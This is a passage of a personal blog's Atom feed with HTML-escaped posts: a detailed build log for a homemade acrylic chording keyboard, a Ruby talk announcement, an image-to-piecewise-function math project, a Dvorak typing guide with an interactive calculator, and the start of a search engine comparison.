class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Designing and Building a Keyboard: The Body</title>
   <link href="https://thume.ca/2014/09/08/creating-a-keyboard-1-hardware/"/>
   <updated>2014-09-08T00:00:00+00:00</updated>
   <id>https://thume.ca/2014/09/08/creating-a-keyboard-1-hardware</id>
   <content type="html">
&lt;p&gt;This summer I set myself the task of designing and building a chording keyboard from scratch. Chording keyboards use a different system of typing where you type entire syllables or words in a single stroke by pressing multiple keys at a time. My keyboard is designed to use a system similar to &lt;a href=&quot;http://velotype.com/en/&quot;&gt;Velotype&lt;/a&gt;. This should theoretically let me type at up to 200WPM.&lt;/p&gt;

&lt;p&gt;To spoil the ending I managed to build a pretty sweet keyboard that I am using to type this very article. However, I haven’t written the chording software yet so I’m currently using it as a Dvorak keyboard.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update 10/10/2016:&lt;/strong&gt; I’ve been using the keyboard for 2 years now. I wrote the &lt;a href=&quot;https://github.com/trishume/PolyType&quot;&gt;chording firmware&lt;/a&gt; and tried learning it but after a month I was still typing at 3wpm. But I did end up really liking the keyboard layout used normally so it’s still my primary keyboard. I’ve also upgraded the hardware with &lt;a href=&quot;https://twitter.com/trishume/status/774977727342444544&quot;&gt;cool RGB LEDs&lt;/a&gt;. I use the palm keys with a &lt;a href=&quot;https://github.com/trishume/SublimeTect&quot;&gt;set of Sublime Text shortcuts&lt;/a&gt; that is like VIM but the mode is set by the physical state of my palms. This integrates better with the mouse, I never type in the wrong mode, and it’s better for quickly doing something in another mode.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/finished-3.jpg&quot; alt=&quot;Finished Keyboard&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When I started the project I thought it might take 2 weeks to finish the hardware and then I would spend the rest of the summer on software. Boy was I wrong! It took me a month to finish the case and another month of evenings spent soldering after work. I managed to complete the hardware before heading off to Waterloo but only barely.&lt;/p&gt;

&lt;p&gt;This post will be mostly about the case and key switches, next I’ll write about the electronics, then the layout (once I design it), and then the software (once I write it).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/finished-4.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;overview&quot;&gt;Overview&lt;/h1&gt;

&lt;h2 id=&quot;the-keys&quot;&gt;The Keys&lt;/h2&gt;

&lt;p&gt;One thing about chording keyboards is that since you have to press many keys at the same time, it is nice to have very low activation force key switches so that your hands don’t have to work as hard to press more switches.&lt;/p&gt;

&lt;p&gt;The Velotype uses custom rubber dome switches with a 15g activation force but those require custom molded silicone sheets and a PCB. Instead I modified Cherry MX Red key switches, which are already some of the lowest force switches out there, and I cut the springs down from 1.5cm to 1.0cm. This gave them an activation force of around 20g instead of 45g.&lt;/p&gt;

&lt;p&gt;For the key caps I pulled the black blank ones off my Das Keyboard since I figured that buying and shipping a new set of key caps would cost more than the resale value of my (now redundant) Das.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/stripped_das.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-case&quot;&gt;The Case&lt;/h2&gt;

&lt;p&gt;The case was made with layered acrylic sheets cut on &lt;a href=&quot;http://biblioottawalibrary.ca/en/ImagineSpace&quot;&gt;the laser cutter at my local library&lt;/a&gt;. The layers are bolted together with machine screws with rubber feet at the bottom. The layout is my own design inspired by the Velotype Pro and the Erogdox. The top and bottom layers are thin black acrylic to give the keyboard a nice look and hide the internals. Features include a carrying handle, palm keys and a space for a LCD screen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/case.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-design&quot;&gt;The Design&lt;/h2&gt;

&lt;p&gt;I did all the design in the (free!) student edition of AutoCad. I used cherry switch hole specs posted on the &lt;a href=&quot;http://geekhack.org/&quot;&gt;GeekHack&lt;/a&gt; forum that I fine tuned by laser cutting small test plates. Before doing the final cut in acrylic I cut one prototype in cheap MDF and also a one-button test keyboard in acrylic. This let me catch a couple design flaws and fine tune my CAD model before the final cut.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/model-screen.png&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;p&gt;My original plan was to draw up the CAD files in two days and then cut them the next day, then spend the next couple days soldering. Turns out I dramatically underestimated the difficulty of designing quality hardware. It took me a week to do the CAD models alone. I had to design the layout, print multiple tests on paper to test ergonomics, then draw up the key cutouts, layout, case and internal pockets in AutoCad. Then I spent days tweaking the kerf, screw placement and PCB pocket size so that everything would fit together well.&lt;/p&gt;

&lt;h1 id=&quot;the-full-story---detailed-build-log&quot;&gt;The Full Story - Detailed Build Log&lt;/h1&gt;

&lt;h2 id=&quot;the-original-plan-backstory-skip-if-you-want&quot;&gt;The Original Plan (Backstory, skip if you want)&lt;/h2&gt;

&lt;p&gt;This whole crazy quest started when I got the idea of trying to build a mag-lev hall effect keyboard. The switches would levitate on magnets inside shafts above a hall effect sensor, this would allow very smooth low force switches that gave back analogue signals. This would allow cool things like variable-speed WASD gaming and detection of different typing styles.&lt;/p&gt;

&lt;p&gt;I made some crappy prototypes with fridge magnets and paper and it seemed promising so I ordered some hall effect sensors off Digikey and used OpenSCAD to design some 3D models for key switches. I 3D printed them at my library, the first time didn’t turn out well but I tweaked the model and got a decent print. However, the switches didn’t feel very good since smooth shaft sliding requires very tight tolerances that even the very nice SLA 3D printer I was using couldn’t make switches that didn’t wobble and scrape.&lt;/p&gt;

&lt;p&gt;I ended up abandoning the project because after further testing I discovered that the magnets in adjacent switches would repel each other causing very weird responses and things like keys being twice as hard to press down when the adjacent one was down. This problem could only be solved by using springs to keep the key up and then switching to weaker magnets, or by shielding each key with something like mu-metal. This is a purely mechanical problem, the hall effect sensors actually weren’t interfered with much by adjacent magnets because they only measure the field strength in one axis.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/maglevs.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-real-quest-begins&quot;&gt;The Real Quest Begins&lt;/h2&gt;

&lt;p&gt;After giving up on mag-lev I tried cutting the springs on a cherry brown switch and ended up with a decent low force key switch. Thus started the quest to build a custom chording keyboard. Goals included low force, low cost, ergonomic design, full programmability, and the ability to use it as a normal keyboard.&lt;/p&gt;

&lt;p&gt;I started out by doing a bunch of research on other people’s custom keyboards and reading Geekhack threads and blog posts. I used some ideas from the &lt;a href=&quot;https://www.ergodox.io/&quot;&gt;Ergodox&lt;/a&gt;, &lt;a href=&quot;https://github.com/technomancy/atreus&quot;&gt;the Atreus&lt;/a&gt;, and of course the Velotype Pro.&lt;/p&gt;

&lt;h2 id=&quot;drawing-up-the-cad-file&quot;&gt;Drawing up the CAD File&lt;/h2&gt;

&lt;h3 id=&quot;the-layout&quot;&gt;The Layout&lt;/h3&gt;

&lt;p&gt;I started my layout off by just setting up a massive rectangular grid of keys in AutoCad, I then printed it off at actual size and used my own hand to stagger the columns to match my fingers. One major difference from normal keyboards is that the home row position of the pinky finger is actually on physical row down from the middle, an idea I took from the Velotype. This position is much nicer ergonomically given how short the pinky fingers are, it is just unconventional.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/homerow.png&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I then used the same print, measure, adjust model, repeat technique to place the thumb cluster and palm keys. The final step was tweaking the layout so that it could use a standard key cap set, this meant doing things like using 1.25U keys for the thumbs instead of 1.5 because there are more of them. While doing this I also kept in mind that each row of key caps has a different profile.&lt;/p&gt;

&lt;p&gt;The final step was to mirror the one sided layout to the other side and then measure the natural distance between my hands in order to determine the separation.&lt;/p&gt;

&lt;h3 id=&quot;the-rest-of-the-case&quot;&gt;The Rest of The Case&lt;/h3&gt;

&lt;p&gt;After drawing up the layout I had to design the rest of the case. I drew a box around the outside and then some interior pockets for the wiring. I measured the piece of perfboard and the LCD I had decided on and then put in pockets for those and added channels to the wiring pockets. Then I rounded all the corners to reduce the number of pointy edges as well as the risk of the acrylic cracking.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/spacer.png&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally I placed the bolt holes in locations that were structurally important and also were solid on all layers. I then measured where the screw holes were on the circuit boards and put those in on the bottom for mounting.&lt;/p&gt;

&lt;p&gt;I had drawn the various pockets on different layers in AutoCad so I created a viewport for each physical layer of acrylic and then just set which layers I wanted drawn on each viewport. Bolt holes on all layers, switch holes on the plate layer, etc…&lt;/p&gt;

&lt;h2 id=&quot;acquiring-materials&quot;&gt;Acquiring Materials&lt;/h2&gt;

&lt;p&gt;Now that I had my CAD files it was time to acquire the acrylic I needed to cut them in. I called up the &lt;a href=&quot;http://www.lairdplastics.ca/&quot;&gt;Laird Plastics&lt;/a&gt; in Ottawa and they had the acrylic I needed but only in $100 4 foot x 8 foot sheets. This was a great price per square foot but it was way more than I needed. So I checked out &lt;a href=&quot;http://canusplastics.com/&quot;&gt;Canus Plastics&lt;/a&gt; and they had the exact acrylic thickness and colours I needed and they even cut me sheets of the size I wanted while I waited. I also went around the back to their dumpster and found some nice off-cuts for practice material.&lt;/p&gt;

&lt;p&gt;I got 2 sheets of 43cmx24cm eighth inch black acrylic and 3 sheets of quarter inch 43cmx24cm clear acrylic for $50.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/canus-loot.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I also went to Home Depot and bought the right size of machine screws as well as some $3 sheets of MDF in the same thicknesses as my acrylic.&lt;/p&gt;

&lt;h2 id=&quot;stop-prototype&quot;&gt;Stop, Prototype!&lt;/h2&gt;

&lt;h3 id=&quot;switch-cutout-kerf&quot;&gt;Switch Cutout Kerf&lt;/h3&gt;

&lt;p&gt;The first thing I wanted to tune was the tightness of my switch cutouts. My acrylic plate was quarter inch thick clear acrylic which is to thick for the switches to snap in so they are friction fit. This meant I had to get the fit very close because I had no PCB to hold the switches in and I didn’t want them popping out if I tried to take off the key caps or turned the keyboard upside down.&lt;/p&gt;

&lt;p&gt;I ended up printing 6 different small acrylic test sheets including various insets and resizings of different cherry switch cutout shapes. I measured the results that came off the laser cutter with calipers and found that the laser had 0.2mm kerf in the material I was using.&lt;/p&gt;

&lt;p&gt;After adjusting for the kerf I had to figure out how tight I wanted the switch holes. Here are the results of my testing, measured against the Cherry width spec of 19.05mm with calipers:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-0.15mm : Very loose fit, some play, can&apos;t pull keycap without pulling out switch.
Keyboard made like this would fall apart easily if it didn&apos;t have a PCB.
-0.10mm : Same as -0.15mm maybe imperceptibly tighter
0.00mm : Cherry Spec. Holds switches to be very robust without a PCB. Almost zero play.
Still not tight enough to pull a keycap without pulling out switch.
+0.05mm : Very nice solid fit. Can pull a keycap off without pulling switch.
+0.10mm : Quite tight without stressing switch.
Can easily pull keycap off without feeling switch move.
Takes effort to pop out.
I&apos;m going to use this for my board since it won&apos;t have a PCB.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For my final version I decided on the +0.1mm inset (0.3mm including accounting for the laser kerf.).&lt;/p&gt;

&lt;p&gt;I also printed some plates to test friction mounting the stabilizers. Turns out you can’t friction mount them and you have to make the slots wider and hot glue them. My CAD models include large stabilizer slots but I didn’t end up installing the stabilizers since they turned out to be unnecessary.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/test-plates.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;cute-lil-mini-keyboard&quot;&gt;Cute Lil’ Mini Keyboard&lt;/h3&gt;

&lt;p&gt;To test the acrylic layering, the bolt holes and the border width, and cutting the acrylic I drew up a one key test keyboard that I printed and bolted together. It helped me discover that my bolt holes were too close to the edges for my rubber feet to fit. It also looks super cute. I left a hole for cable so that I can eventually hook it up in case I come up with a good idea for it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/mini-board.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;mdf-prototype&quot;&gt;MDF Prototype&lt;/h3&gt;

&lt;p&gt;So that I didn’t mess up my $50 acrylic sheets I did a test cut in $4 dollars worth of crappy MDF/hardboard and I’m glad I did. This prototype helped me discover that the USB cable didn’t really fit into the case cutout and that I had forgotten to turn some switch cutouts sideways. It also helped me be confident that the final cuts would turn out as I wanted them to.&lt;/p&gt;

&lt;h2 id=&quot;modifying-switches&quot;&gt;Modifying Switches&lt;/h2&gt;

&lt;p&gt;After I cut the MDF prototype I spent 2 one hour sessions in the basement modifying key switches. For each switch I opened it using toothpicks, took out the spring and put it up against a ruler, grabbed it with my wire snippers at the correct point and moved it over a dish and snipped it. Then I put the switch back together and tested the feel. If a switch felt too light I tested it with a multimeter to make sure it didn’t stay down when I pressed it, if it did I tossed it into a rejects pile.&lt;/p&gt;

&lt;p&gt;I only modified 46 switches, which was enough for all the keys used in chording, the extra keys which are only used for normal typing and special characters are unmodified. I did all 46 at around 1.5 minutes per switch median time with only 5 rejects (it took significantly longer for some switches because of additional testing).&lt;/p&gt;

&lt;p&gt;The source switches were &lt;a href=&quot;http://mechanicalkeyboards.com/shop/index.php?l=product_detail&amp;amp;p=806&quot;&gt;a bag of 110 Cherry MX Reds&lt;/a&gt; I bought for $50. I chose Cherry Reds because they work better for low force modification since they don’t have a tactile bump. When I tried modifying Browns sometimes the switch would get stuck on the bump on the way up.&lt;/p&gt;

&lt;p&gt;After modifying the switches I mounted them in my MDF prototype with the low force switches in the right places and normal switches everywhere else. Afterwards I put my Das Keyboard key caps on making sure to use the correct rows. I then had a feel-complete version of my keyboard that I could try typing on, it was pretty nice!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/mdf-proto.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;final-cutting&quot;&gt;Final Cutting&lt;/h2&gt;

&lt;p&gt;With all my prototyping done I biked to the library with my CAD files and acrylic sheets and spent an hour sitting next to a laser cutter while reading Hacker News and occasionally switching plates and printing a new file and sometimes watching the laser cutter slowly turn a featureless sheet into the keyboard I had been working on for a month.&lt;/p&gt;

&lt;p&gt;Everything went excellently and I took my sheets home, bolted them together and tested that things fit. I then started transferring switches and keycaps from their respective positions on the MDF prototype to the final acrylic plate.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/transfer.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One interesting thing I discovered was how susceptible to fingerprints,
hair and dust the layered acrylic design is. It doesn’t affect the functionality but it sure looks ugly. When assembling the layers I had to wear rubber gloves and wipe each layer down with a microfiber cloth before bolting them together.&lt;/p&gt;

&lt;p&gt;After a while I had a look and feel complete version of my keyboard, now I just had the soldering to do, but that could wait. At this point I was halfway through the summer and I went on vacation from working during my vacation. I took my keyboard shell with me and occasionally practiced typing on the low force switches, just with the keyboard on my lap sitting by a lake with nothing connected to it.&lt;/p&gt;

&lt;h2 id=&quot;electronics&quot;&gt;Electronics&lt;/h2&gt;

&lt;p&gt;For the second month of the summer I worked at Shopify and every day when I got home I worked on designing the electronics and soldering up the key matrix and controller. There’s a lot more to tell about this process but this post is already 2,500 words.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Coming eventually&lt;/strong&gt;, Part 2 “Designing and Building a Keyboard: The Mind”, in which I will detail the wiring, controller and basic firmware that make bring it to the functional state it is in now.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update 10/10/2016:&lt;/strong&gt; Sorry I still haven’t written the other parts. The firmware is &lt;a href=&quot;https://github.com/trishume/PolyType&quot;&gt;on Github&lt;/a&gt; though. The electronics is a key matrix connected to a Teensy 3.1 and a MCP23017 multiplexer for more outputs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/keyboardhw/electronics.jpg&quot; alt=&quot;Case&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;With everything included, including prototyping materials, extra backup parts and shipping costs the total price came to $233. This figure does not include the dozens of hours of my own labor I put in.&lt;/p&gt;

&lt;p&gt;I posted all the CAD files on &lt;a href=&quot;https://github.com/trishume/KeyboardCAD&quot;&gt;Github&lt;/a&gt; including the AutoCAD files for the case, the Fritzing file for the controller board and the ruby scripts that generate OpenSCAD scripts that generate mag-lev key models.&lt;/p&gt;

&lt;p&gt;For fun, here’s the checked off items of my To-Do list including most of the building and debugging steps (after a certain point when I started th e list). Don’t expect to understand it, it was written for my own reference.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- Design small one switch test layers
- Design PolyType logo plate (didn&apos;t turn out well)
- Go to Home Depot and buy 6-32 machine screws&amp;amp;nuts and 2&apos;x2&apos; MDF
- Laser cut switch test layers and logo plate in offcut acrylic
- Design circuit (to size perfboards properly)
- Test stabilizers on small acrylic test plate
- Disassemble Das Keyboard
- Finish full plate designs
- Use correct switch holes on plate design
- Modify 46 red switch springs.
- Add PCB holes to CAD file
- Cut MDF into 3 keyboard plate
- Order diodes, memory, IO expander on digikey
- Fix layout to not use stabilized velo keys
- Laser cut new plate for test cake
- Laser cut finished plate design in MDF
- Test sizing of PCB in MDF
- Mount cherry switches in MDF plate and put das caps on them
- Test feel of entire layout, is last chance to change it.
- USB slot on clear top layer
- turn long thumb key slots sideways
- make display screw holes bigger
- move ring finger column down
- shorter USB slot
- Laser cut finished plate in Acrylic
- Test fit of all plates together
- Test fit of components in pockets
- Mount all switches
- Wire up key matrix rows
- Install stabilizers
- Buy female headers and PCB screws
- Wire up matrix columns
- Solder controller board
- Wire matrix to controller board
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Stay tuned for further parts of this saga!&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>A Tour of the Ruby Standard Library</title>
   <link href="https://thume.ca/2014/06/25/a-tour-of-the-ruby-standard-library/"/>
   <updated>2014-06-25T00:00:00+00:00</updated>
   <id>https://thume.ca/2014/06/25/a-tour-of-the-ruby-standard-library</id>
   <content type="html">
&lt;p&gt;Recently I gave a full length talk at &lt;a href=&quot;http://ottawaruby.ca/&quot;&gt;Ottawa Ruby&lt;/a&gt; on highlights of the Ruby standard library. It has elements suited to both beginner and advanced Rubyists.&lt;/p&gt;

&lt;p&gt;The Ruby standard library is huge and awesome and this talk was designed to show off some of the cool parts of it that are helpful in everyday Ruby programming, and some that are mostly just useful for trivia.&lt;/p&gt;

&lt;iframe allowfullscreen=&quot;&quot; mozallowfullscreen=&quot;&quot; webkitallowfullscreen=&quot;&quot; src=&quot;/rubytour/embedder.html#index.html&quot; width=&quot;660&quot; height=&quot;370&quot; style=&quot;border:3px solid black;&quot;&gt;
&lt;/iframe&gt;

&lt;p&gt;I gave the talk on June 24, 2014.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Hacking Math Homework</title>
   <link href="https://thume.ca/2013/12/09/math-summative-program/"/>
   <updated>2013-12-09T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/12/09/math-summative-program</id>
   <content type="html">
&lt;p&gt;Many high school students complain about boring and repetitive homework, but I’ve found a fun way of dealing with this that I find actually helps me understand concepts even better.
When faced with large rote assignments I write programs to complete the homework like no human can: instantly, perfectly and on a large scale.
In the past I have written written &lt;a href=&quot;/2013/01/24/hacking-english-class/&quot;&gt;Literary Analysis Visualizations&lt;/a&gt;, Punnet Square generators and &lt;a href=&quot;http://github.com/trishume/handyGraph&quot;&gt;Graphing Programs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Most of the time it takes way more time to write the program than it would take to do the homework but I end up learning a lot more and having more fun.
Recently I wrote my wrote my most outrageous program yet, it took 10 times longer than it should have and blew away my teacher and class.&lt;/p&gt;

&lt;p&gt;Part of my Advanced Functions class summative this year was to create a series of piecewise functions that when graphed produce
a picture. Some examples given were line drawings of a smiley face and the Batman symbol. But I had an idea that would go beyond the intended simple line drawings so I spent my weekend implementing it.&lt;/p&gt;

&lt;p&gt;I wrote a program that takes an image and composes equations of varying densities into hundreds of massive piecewise functions
so that when you graph them on a very large canvas and zoom out they replicate the image in greyscale. The output looks like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/mathSummative/obama_small.png&quot; alt=&quot;Obama&quot; /&gt;
&lt;a href=&quot;/assets/postassets/mathSummative/collage_small.png&quot;&gt;&lt;img src=&quot;/assets/postassets/mathSummative/collage_small.png&quot; alt=&quot;Function Collage&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;additional-resources&quot;&gt;Additional Resources&lt;/h2&gt;

&lt;p&gt;Another part of the program outputs a massive Latex document with all the large piecewise functions that produces a huge PDF.
You can &lt;a href=&quot;/assets/postassets/mathSummative/summative.pdf&quot;&gt;download a PDF&lt;/a&gt; that explains all the parts and has some more examples.&lt;/p&gt;

&lt;h2 id=&quot;the-program&quot;&gt;The Program&lt;/h2&gt;

&lt;p&gt;The program is written in Python and uses matplotlib, Numpy and Pillow.
Excuse the terrible code with the manual constants, global variables and terrible logic structure.
Not only was I learning Python while writing this but I had to finish the program by the next day and then
never use the program again.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/7881306.js&quot;&gt;
&lt;/script&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Typing Faster</title>
   <link href="https://thume.ca/2013/09/30/learning-dvorak/"/>
   <updated>2013-09-30T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/09/30/learning-dvorak</id>
   <content type="html">
&lt;p&gt;What if you improved your typing speed from
&lt;span class=&quot;TKAdjustableNumber&quot; data-var=&quot;curWpm&quot; data-min=&quot;5&quot; data-max=&quot;100&quot; data-step=&quot;5&quot;&gt; wpm&lt;/span&gt;
to &lt;span class=&quot;TKAdjustableNumber&quot; data-var=&quot;newWpm&quot; data-min=&quot;5&quot; data-max=&quot;200&quot; data-step=&quot;5&quot;&gt; wpm&lt;/span&gt;?&lt;/p&gt;

&lt;p&gt;Over &lt;span class=&quot;TKAdjustableNumber&quot; data-var=&quot;career&quot; data-min=&quot;1&quot; data-max=&quot;40&quot;&gt; years&lt;/span&gt; typing &lt;span class=&quot;TKAdjustableNumber&quot; data-var=&quot;dailyTyping&quot; data-min=&quot;5&quot; data-max=&quot;500&quot;&gt; minutes&lt;/span&gt; per work day you could:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Spend &lt;b data-var=&quot;ratio2&quot; data-format=&quot;%.2f&quot;&gt; times&lt;/b&gt; as much time typing saving &lt;b data-var=&quot;savedHours&quot; data-format=&quot;%.0f&quot;&gt; hours&lt;/b&gt;.&lt;/li&gt;
  &lt;li&gt;Or type &lt;b data-var=&quot;ratio1&quot; data-format=&quot;%.1f&quot;&gt; times&lt;/b&gt; as many words jumping from &lt;b data-var=&quot;totalWords&quot; data-format=&quot;%.2f&quot;&gt; million words&lt;/b&gt; typing to &lt;b data-var=&quot;newWords&quot; data-format=&quot;%.2f&quot;&gt; million words&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you earn &lt;span class=&quot;TKAdjustableNumber&quot; data-var=&quot;pay&quot; data-min=&quot;1&quot; data-max=&quot;400&quot; data-format=&quot;$%.0f&quot;&gt;​&lt;/span&gt; per hour the extra productivity is worth &lt;b data-var=&quot;worth&quot; data-format=&quot;$%.0f&quot;&gt;​&lt;/b&gt;.&lt;/p&gt;

&lt;h2 id=&quot;learning-to-type-efficiently-in-3-weeks&quot;&gt;Learning to Type Efficiently in 3 Weeks&lt;/h2&gt;

&lt;p&gt;Are you satisfied with your current typing speed? Do you even know what speed you type at?
If you don’t know go test yourself on &lt;a href=&quot;http://www.keyhero.com/&quot;&gt;KeyHero&lt;/a&gt;, I’ll wait.
Typing faster and in the correct way has many advantages including productivity gains,
ergonomics and ability to look at the screen while typing. However, not everyone can simply
practice typing and improve their speed, sometimes more drastic action is required.
With the right method you can improve your speed from 25 wpm to 60 wpm in 3 weeks of casual effort like I did.
Two years later I now type properly at 80 wpm with no dedicated practice since those 3 weeks.&lt;/p&gt;

&lt;p&gt;Most people improve their typing speed through practice on sites like &lt;a href=&quot;http://www.keyhero.com/&quot;&gt;KeyHero&lt;/a&gt;.
This approach works in some cases but there are some cases where this approach is ineffective.
In order for your practice to be effective you have to continue typing faster and correctly afterwards during normal computer use.
For many years I typed at a dismal speed of 25 wpm with incorrect fingering and my eyes firmly focused on my keyboard.
I tried to practice typing correctly and would get up to 20 wpm without looking at the keyboard but as soon as I was done
and I wanted to program or chat with friends I would go back to my slightly faster but incorrect method of typing and lose my progress.
No matter how hard you practice if you immediately go back to looking at your keyboard or typing improperly afterwards you won’t get any faster.&lt;/p&gt;

&lt;p&gt;Salvation came a couple years ago when I discovered a method of kicking out my typing crutches: learning &lt;a href=&quot;http://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard&quot;&gt;Dvorak&lt;/a&gt;.
Dvorak is a keyboard layout with a much more efficient design with the most common letters on the home row.
It is supposedly more efficient but I couldn’t care less about that, what mattered to me is that all the keys were in different positions and the labels on the keys were wrong.
I basically threw away everything I knew about typing and started afresh typing properly and efficiently, at 0 wpm.
After a weekend of studying I had learned the layout. In only a week I beat my previous speed. In 2 weeks I doubled it and in 3 weeks I was typing at 60 wpm.
Interestingly, I was only practicing about one hour per day. The important thing was that I never switched my computer off of Dvorak and did everything in the new layout.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/typing/Progress.png&quot; alt=&quot;Progress Graph Sketch&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By starting from the beginning on a keyboard layout where you can’t cheat and look at keys, you can eliminate
the bad habits that prevent you from becoming a fast typist.
If you look at your keyboard while you type you miss helpful auto-complete popups and typos you have made, leading to drastically lower effective wpm.
Not only this but if you truly need to look you are limiting your typing speed to how fast you can target the next letter.&lt;/p&gt;

&lt;p&gt;Unlike Colemak, the Dvorak layout is available by default on most versions of OSX, Windows and Linux so even if you have to use someone else’s computer you can switch the layout.
You don’t have to buy a special keyboard and you might even get ergonomic benefits from using a more efficient layout and not having to contort your fingers so much.
After a few years of using Dvorak I haven’t had any problems with using other people’s computers or keyboards.
You can always fall back on hunt and peck if you can’t be bothered to change the layout setting.&lt;/p&gt;

&lt;p&gt;If your typing speed is below 40wpm or you have to look at the keyboard I highly recommend you learn Dvorak to get rid of your bad habits and improve your speed.
This trick helped me immensely and if you have trouble typing quickly because of bad habits, it can help you too.&lt;/p&gt;

&lt;h2 id=&quot;specifics&quot;&gt;Specifics&lt;/h2&gt;

&lt;p&gt;To initially learn the basic layout so that I could type every letter, albeit slowly, I used two methods.
I practiced with lessons on &lt;a href=&quot;http://learn.dvorak.nl/&quot;&gt;dvorak.nl&lt;/a&gt; and printed off a sheet with the layout so that I could
memorize it away from the computer. I did this all in 2 days of focus so that I wouldn’t have to switch back to QWERTY between
practices to get things done.&lt;/p&gt;

&lt;p&gt;Once I could type everything I needed to I started using KeyHero, which is a nicer platform for both practicing and tracking your progress.
I also used Dvorak for everyday things like programming and writing. I was slow to begin with but very soon I could type faster than before.&lt;/p&gt;

&lt;script&gt;
var tangle = new Tangle(document, {
    initialize: function () {
        this.curWpm = 30;
        this.newWpm = 80;
        this.career = 10;
        this.dailyTyping = 30;
        this.pay = 40;
    },
    update: function () {
        this.ratio1 = this.newWpm / this.curWpm;
        this.ratio2 = 1.0 / this.ratio1;

        this.totalMins = this.career * 220 * this.dailyTyping;
        this.totalHours = this.totalMins / 60;
        this.newHours = this.totalHours * this.ratio2;
        this.savedHours = this.totalHours - this.newHours;

        this.totalWords = this.totalMins * this.curWpm / 1000000;
        this.newWords = this.totalWords * this.ratio1;

        this.worth = this.savedHours * this.pay;
    }
});
&lt;/script&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>The Best Search Engine For Programmers</title>
   <link href="https://thume.ca/2013/05/17/best-search-engine/"/>
   <updated>2013-05-17T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/05/17/best-search-engine</id>
   <content type="html">
&lt;p&gt;There are many different comparisons of
search engine results out there but I thought I would do one specifically geared
towards the audience I identify with: programmers.&lt;/p&gt;

&lt;p&gt;Do note that these tests are not rigorous and are based on my
observations of which search engine delivers the best results from a
programmer’s perspective for a number of programming related searches.&lt;/p&gt;

